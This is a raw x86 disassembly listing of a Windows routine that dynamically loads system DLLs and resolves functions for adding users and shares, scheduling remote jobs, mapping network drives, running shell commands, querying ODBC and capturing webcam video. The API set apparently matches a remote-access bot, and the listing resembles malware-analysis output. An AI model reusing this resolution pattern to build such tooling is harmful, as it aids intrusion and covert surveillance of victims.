mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee38], eax
mov eax, dword [0x44ee34]
test eax, eax
je 0x40e2f3
mov eax, dword [0x44ee3c]
test eax, eax
je 0x40e2f3
mov eax, dword [0x44ee38]
test eax, eax
jne 0x40e315
mov dword [0x44eee4], 1
jmp 0x40e315
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [0x44eee8], eax
mov dword [0x44eee4], 1
mov dword [esp], str.netapi32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40e4e1
mov dword [esp + 4], str.NetShareAdd
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee40], eax
mov dword [esp + 4], str.NetShareDel
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee44], eax
mov dword [esp + 4], str.NetShareEnum
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee48], eax
mov dword [esp + 4], str.NetScheduleJobAdd
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee4c], eax
mov dword [esp + 4], str.NetApiBufferFree
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee50], eax
mov dword [esp + 4], str.NetRemoteTOD
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee54], eax
mov dword [esp + 4], str.NetUserAdd
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee58], eax
mov dword [esp + 4], str.NetUserDel
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee5c], eax
mov dword [esp + 4], str.NetUserEnum
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee60], eax
mov dword [esp + 4], str.NetUserGetInfo
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee64], eax
mov dword [esp + 4], str.NetMessageBufferSend
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee68], eax
mov eax, dword [0x44ee40]
test eax, eax
je 0x40e4d5
mov eax, dword [0x44ee44]
test eax, eax
je 0x40e4d5
mov eax, dword [0x44ee48]
test eax, eax
je 0x40e4d5
mov eax, dword [0x44ee4c]
test eax, eax
je 0x40e4d5
mov eax, dword [0x44ee50]
test eax, eax
je 0x40e4d5
mov eax, dword [0x44ee54]
test eax, eax
je 0x40e4d5
mov eax, dword [0x44ee58]
test eax, eax
je 0x40e4d5
mov eax, dword [0x44ee5c]
test eax, eax
je 0x40e4d5
mov eax, dword [0x44ee60]
test eax, eax
je 0x40e4d5
mov eax, dword [0x44ee64]
test eax, eax
je 0x40e4d5
mov eax, dword [0x44ee68]
test eax, eax
jne 0x40e4f7
mov dword [0x44eeec], 1
jmp 0x40e4f7
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [0x44eef0], eax
mov dword [0x44eeec], 1
mov dword [esp], str.dnsapi.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x40e569
mov dword [esp + 4], str.DnsFlushResolverCache
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee6c], eax
mov dword [esp + 4], str.DnsFlushResolverCacheEntry_A
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee70], eax
mov eax, dword [0x44ee6c]
test eax, eax
je 0x40e55d
mov eax, dword [0x44ee70]
test eax, eax
jne 0x40e57f
mov dword [0x44eef4], 1
jmp 0x40e57f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [0x44eef8], eax
mov dword [0x44eef4], 1
mov dword [esp], str.iphlpapi.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x40e5f1
mov dword [esp + 4], str.GetIpNetTable
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee74], eax
mov dword [esp + 4], str.DeleteIpNetEntry
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee78], eax
mov eax, dword [0x44ee74]
test eax, eax
je 0x40e5e5
mov eax, dword [0x44ee78]
test eax, eax
jne 0x40e607
mov dword [0x44eefc], 1
jmp 0x40e607
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [0x44ef00], eax
mov dword [0x44eefc], 1
mov dword [esp], str.mpr.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x40e6c9
mov dword [esp + 4], str.WNetAddConnection2A
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee7c], eax
mov dword [esp + 4], str.WNetAddConnection2W
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee80], eax
mov dword [esp + 4], str.WNetCancelConnection2A
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee84], eax
mov dword [esp + 4], str.WNetCancelConnection2W
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee88], eax
mov eax, dword [0x44ee7c]
test eax, eax
je 0x40e6bd
mov eax, dword [0x44ee80]
test eax, eax
je 0x40e6bd
mov eax, dword [0x44ee84]
test eax, eax
je 0x40e6bd
mov eax, dword [0x44ee88]
test eax, eax
jne 0x40e6df
mov dword [0x44ef04], 1
jmp 0x40e6df
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [0x44ef08], eax
mov dword [0x44ef04], 1
mov dword [esp], str.shell32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x40e751
mov dword [esp + 4], str.ShellExecuteA
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee8c], eax
mov dword [esp + 4], str.SHChangeNotify
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee90], eax
mov eax, dword [0x44ee8c]
test eax, eax
je 0x40e745
mov eax, dword [0x44ee90]
test eax, eax
jne 0x40e767
mov dword [0x44ef0c], 1
jmp 0x40e767
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [0x44ef10], eax
mov dword [0x44ef0c], 1
mov dword [esp], str.odbc32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x40e875
mov dword [esp + 4], str.SQLDriverConnect
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee94], eax
mov dword [esp + 4], str.SQLSetEnvAttr
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee98], eax
mov dword [esp + 4], str.SQLExecDirect
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee9c], eax
mov dword [esp + 4], str.SQLAllocHandle
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44eea0], eax
mov dword [esp + 4], str.SQLFreeHandle
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44eea4], eax
mov dword [esp + 4], str.SQLDisconnect
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44eea8], eax
mov eax, dword [0x44ee94]
test eax, eax
je 0x40e869
mov eax, dword [0x44ee98]
test eax, eax
je 0x40e869
mov eax, dword [0x44ee9c]
test eax, eax
je 0x40e869
mov eax, dword [0x44eea0]
test eax, eax
je 0x40e869
mov eax, dword [0x44eea4]
test eax, eax
je 0x40e869
mov eax, dword [0x44eea8]
test eax, eax
jne 0x40e88b
mov dword [0x44ef14], 1
jmp 0x40e88b
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [0x44ef18], eax
mov dword [0x44ef14], 1
mov dword [esp], str.avicap32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x40e8fd
mov dword [esp + 4], str.capCreateCaptureWindowA
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44eeac], eax
mov dword [esp + 4], str.capGetDriverDescriptionA
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44eeb0], eax
mov eax, dword [0x44eeac]
test eax, eax
je 0x40e8f1
mov eax, dword [0x44eeb0]
test eax, eax
jne 0x40e913
mov dword [0x44ef1c], 1
jmp 0x40e913
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [0x44ef20], eax
mov dword [0x44ef1c], 1
mov eax, 1
leave
ret